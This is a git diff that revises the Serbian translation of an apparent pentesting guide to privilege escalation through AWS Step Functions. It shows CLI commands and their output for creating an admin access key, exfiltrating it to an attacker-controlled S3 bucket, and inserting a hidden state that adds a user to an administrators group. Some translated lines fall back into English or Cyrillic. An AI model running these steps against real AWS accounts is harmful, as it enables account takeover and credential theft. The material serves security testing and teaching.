diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md index d53322266..746b71c1c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md @@ -4,32 +4,32 @@ ## Step Functions -Za više informacija o ovoj AWS usluzi, pogledajte: +Za više informacija o ovom AWS servisu, pogledajte: {{#ref}} ../../aws-services/aws-stepfunctions-enum.md {{#endref}} -### Task resursi +### Resursi zadataka -Ove privilege escalation techniques zahtevaće korišćenje određenih AWS Step Function resursa kako bi se izvršile željene privilege escalation akcije. +Ove tehnike eskalacije privilegija zahtevaju korišćenje određenih resursa AWS Step Functions da bi se izvršile odgovarajuće akcije. -Da biste proverili sve moguće akcije, možete otići u svoj AWS nalog, izabrati akciju koju želite da koristite i videti koje parametre koristi, kao na: +Da biste proverili sve moguće akcije, možete otići u vaš AWS nalog, izabrati akciju koju želite da koristite i videti koje parametre koristi, kao na primeru:
-Ili možete otići u AWS API dokumentaciju i proveriti dokumentaciju za svaku akciju: +Ili možete otići na AWS API dokumentaciju i proveriti dokumentaciju za svaku akciju: - [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html) - [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html) ### `states:TestState` & `iam:PassRole` -Napadač koji ima dozvole **`states:TestState`** i **`iam:PassRole`** može testirati bilo koje stanje i dodeliti mu bilo koju IAM rolu bez kreiranja ili ažuriranja postojeće state machine, što potencijalno omogućava neautorizovan pristup drugim AWS servisima sa privilegijama tih rola. U kombinaciji, ove dozvole mogu dovesti do opsežnih neautorizovanih radnji — od manipulacije workflow-ovima i izmene podataka, preko kompromitovanja podataka i manipulacije resursima, do privilege escalation. +Napadač sa dozvolama **`states:TestState`** i **`iam:PassRole`** može testirati bilo koje stanje i proslediti mu bilo koju IAM ulogu bez kreiranja ili ažuriranja postojeće state machine, što potencijalno omogućava neovlašćen pristup drugim AWS servisima koristeći dozvole te uloge. U kombinaciji, ove dozvole mogu dovesti do širokog spektra neovlašćenih radnji — od manipulacije tokovima rada i izmena podataka do curenja podataka, manipulacije resursima i eskalacije privilegija. ```bash -aws states test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] +aws stepfunctions test-state --definition --role-arn [--input ] [--inspection-level ] [--reveal-secrets | --no-reveal-secrets] ``` -U sledećim primerima prikazano je kako testirati state koji kreira access key za korisnika **`admin`** koristeći ove dozvole i permisivnu rolu u AWS okruženju. Ova permisivna rola bi trebalo da ima pridruženu neku visoko-privilegovanu politiku (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava state-u da izvrši akciju **`iam:CreateAccessKey`**: +Sledeći primeri pokazuju kako testirati state koji kreira access key za korisnika **`admin`**, koristeći ove dozvole i permisivnu ulogu u AWS okruženju. Ova permisivna uloga treba da ima bilo koju politiku sa visokim privilegijama (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava izvršenje akcije **`iam:CreateAccessKey`**: - **stateDefinition.json**: ```json @@ -42,7 +42,7 @@ U sledećim primerima prikazano je kako testirati state koji kreira access key z "End": true } ``` -- **Naredba** izvršena za izvođenje privesc: +- **Komanda** izvršena za izvođenje privesc-a: ```bash aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam:::role/PermissiveRole @@ -59,23 +59,23 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn "status": "SUCCEEDED" } ``` -**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulisanje workflow-ima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih kompromisa. +**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija tokovima rada i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta. ### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`) -Napadač koji ima **`states:CreateStateMachine`** i **`iam:PassRole`** može da kreira state machine i dodeli mu bilo koju IAM role, omogućavajući neovlašćen pristup drugim AWS servisima koristeći dozvole te role. Za razliku od prethodne privesc tehnike (**`states:TestState`** i **`iam:PassRole`**), ova se ne izvršava sama od sebe — takođe će vam biti potrebne dozvole **`states:StartExecution`** ili **`states:StartSyncExecution`** (**`states:StartSyncExecution`** **nije dostupna za standard workflows**, **samo za express state machines**) da biste pokrenuli izvršenje state machine. +Napadač koji ima **`states:CreateStateMachine`** i **`iam:PassRole`** mogao bi da kreira mašinu stanja i dodeli joj bilo koju IAM ulogu, omogućavajući neovlašćen pristup drugim AWS servisima sa privilegijama te uloge. Za razliku od prethodne privesc technique (**`states:TestState`** & **`iam:PassRole`**), ova se ne izvršava sama od sebe — biće vam potrebna i dozvola **`states:StartExecution`** ili **`states:StartSyncExecution`** (**`states:StartSyncExecution`** nije dostupan za standardne tokove rada, već samo za express state machines**) da biste pokrenuli izvršavanje te mašine stanja. ```bash # Create a state machine -aws states create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ +aws stepfunctions create-state-machine --name --definition --role-arn [--type ] [--logging-configuration ]\ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] # Start a state machine execution -aws states start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] +aws stepfunctions start-execution --state-machine-arn [--name ] [--input ] [--trace-header ] # Start a Synchronous Express state machine execution -aws states start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] +aws stepfunctions start-sync-execution --state-machine-arn [--name ] [--input ] [--trace-header ] ``` -Sledeći primeri pokazuju kako kreirati state machine koji kreira access key za korisnika **`admin`** i eksfiltrira ovaj access key u attacker-controlled S3 bucket, iskorišćavajući ove dozvole i permisivnu ulogu u AWS okruženju. Ova permisivna uloga treba da ima neku visoko-privilegovanu politiku pridruženu (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava state machine da izvrši akcije **`iam:CreateAccessKey`** i **`s3:putObject`**. +U sledećim primerima pokazano je kako kreirati state machine koji kreira access key za korisnika **`admin`** i eksfiltrira taj access key u S3 bucket koji kontroliše napadač, koristeći ove dozvole i permisivnu ulogu u AWS okruženju. Ova permisivna uloga treba da ima neku politiku visokih privilegija (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava state machine-u da izvrši akcije **`iam:CreateAccessKey`** i **`s3:putObject`**. - **stateMachineDefinition.json**: ```json @@ -115,7 +115,7 @@ Sledeći primeri pokazuju kako kreirati state machine koji kreira access key za } } ``` -- **Komanda** izvršena da bi se kreirao **stroj stanja**: +- **Naredba** izvršena za **kreiranje state machine**: ```bash aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole { @@ -123,7 +123,7 @@ aws stepfunctions create-state-machine --name MaliciousStateMachine --definition "creationDate": "2024-07-09T20:29:35.381000+02:00" } ``` -- **Komanda** izvršena da **pokrene izvršavanje** prethodno kreiranog state machine-a: +- **Naredba** izvršena da **pokrene izvršavanje** prethodno kreiranog stroja stanja: ```json aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:MaliciousStateMachine { @@ -132,26 +132,26 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1 } ``` > [!WARNING] -> S3 bucket pod kontrolom napadača treba da ima dozvole da prihvati s3:PutObject akciju od računa žrtve. +> S3 bucket koji kontroliše napadač treba da ima dozvole za prihvatanje s3:PutObject akcije iz žrtvinog naloga. -**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija workflows i pristup osetljivim resursima, što može dovesti do ozbiljnih bezbednosnih povreda. +**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija workflow-ima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta. -### `states:UpdateStateMachine` & (nije uvek potrebno) `iam:PassRole` +### `states:UpdateStateMachine` & (not always required) `iam:PassRole` -Napadač sa **`states:UpdateStateMachine`** permisijom mogao bi da izmeni definiciju state machine-a, dodajući dodatne skrivenе state-ove koji bi mogli da završe u privilege escalation. Na taj način, kada legitimni korisnik pokrene izvršenje state machine-a, novi zlonamerni skriveni state će se izvršiti i privilege escalation će uspeti. +Napadač sa dozvolom **`states:UpdateStateMachine`** mogao bi da izmeni definiciju state machine-a, dodajući dodatna neprimetna stanja koja bi mogla da dovedu do eskalacije privilegija. Na taj način, kada legitimni korisnik pokrene izvršavanje state machine-a, novo zlonamerno neprimetno stanje će se izvršiti i eskalacija privilegija će biti uspešna. -U zavisnosti od toga koliko je permissive IAM Role povezan sa state machine-om, napadač bi se suočio sa 2 situacije: +U zavisnosti od toga koliko je permisivna IAM Role povezana sa state machine-om, napadač bi se suočio sa 2 situacije: -1. **Permissive IAM Role**: Ako je IAM Role povezan sa state machine-om već permissive (na primer ima prikačenu politiku **`arn:aws:iam::aws:policy/AdministratorAccess`**), onda **`iam:PassRole`** permisija ne bi bila potrebna za eskalaciju privilegija, jer ne bi bilo neophodno i menjati IAM Role — dovoljna je izmena definicije state machine-a. -2. **Not permissive IAM Role**: Za razliku od prethodnog slučaja, ovde bi napadač takođe zahtevao **`iam:PassRole`** permisiju, pošto bi bilo neophodno povezati permissive IAM Role sa state machine-om pored izmene definicije state machine-a. +1. **Permisivna IAM Role**: Ako je IAM Role povezana sa state machine-om već permisivna (npr. ima prikačen `arn:aws:iam::aws:policy/AdministratorAccess` policy), onda dozvola **`iam:PassRole`** ne bi bila potrebna za eskalaciju privilegija pošto neće biti neophodno ažurirati i IAM Role — dovoljna je izmena definicije state machine-a. +2. **Nije permisivna IAM Role**: Suprotno od prethodnog slučaja, ovde bi napadač takođe zahtevao dozvolu **`iam:PassRole`** jer bi bilo neophodno da se poveže permisivna IAM Role sa state machine-om pored izmene definicije state machine-a. ```bash -aws states update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ +aws stepfunctions update-state-machine --state-machine-arn [--definition ] [--role-arn ] [--logging-configuration ] \ [--tracing-configuration ] [--publish | --no-publish] [--version-description ] ``` -Sledeći primeri pokazuju kako ažurirati legitimni state machine koji samo poziva HelloWorld Lambda function, kako bi se dodalo dodatno stanje koje dodaje korisnika **`unprivilegedUser`** u **`administrator`** IAM Group. Na taj način, kada legitimni korisnik pokrene izvršavanje ažuriranog state machine-a, ovo novo zlonamerno prikriveno stanje biće izvršeno i eskalacija privilegija će biti uspešna. +The following examples show how to update a legit state machine that just invokes a HelloWorld Lambda function, in order to add an extra state that adds the user **`unprivilegedUser`** to the **`administrator`** IAM Group. This way, when a legitimate user starts an execution of the updated state machine, this new malicious stealth state will be executed and the privilege escalation will be successful. > [!WARNING] -> Ako state machine nema pridruženu permisivnu IAM Role, biće takođe potrebna dozvola **`iam:PassRole`** da bi se ažurirala IAM Role u cilju povezivanja permisivne IAM Role (na primer ona koja ima prikačenu politiku **`arn:aws:iam::aws:policy/AdministratorAccess`**). +> Ако state machine нема придружену permisivnu IAM Role, такође ће бити потребно дозвола **`iam:PassRole`** да би се ажурирала IAM Role у циљу повезивања permisivне IAM Role (на пример она која има придружену политику **`arn:aws:iam::aws:policy/AdministratorAccess`**). {{#tabs }} {{#tab name="Legit State Machine" }} @@ -218,7 +218,7 @@ Sledeći primeri pokazuju kako ažurirati legitimni state machine koji samo pozi {{#endtab }} {{#endtabs }} -- **Komanda** izvršena da **ažurira** **legitimni state machine**: +- **Komanda** izvršena da **ažurira** **legitimnu state machine**: ```bash aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-east-1:123456789012:stateMachine:HelloWorldLambda --definition file://StateMachineUpdate.json { @@ -226,6 +226,6 @@ aws stepfunctions update-state-machine --state-machine-arn arn:aws:states:us-eas "revisionId": "1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f" } ``` -**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija tokovima rada, kao i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih kompromisa. +**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija tokovima rada i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih proboja. {{#include ../../../../banners/hacktricks-training.md}}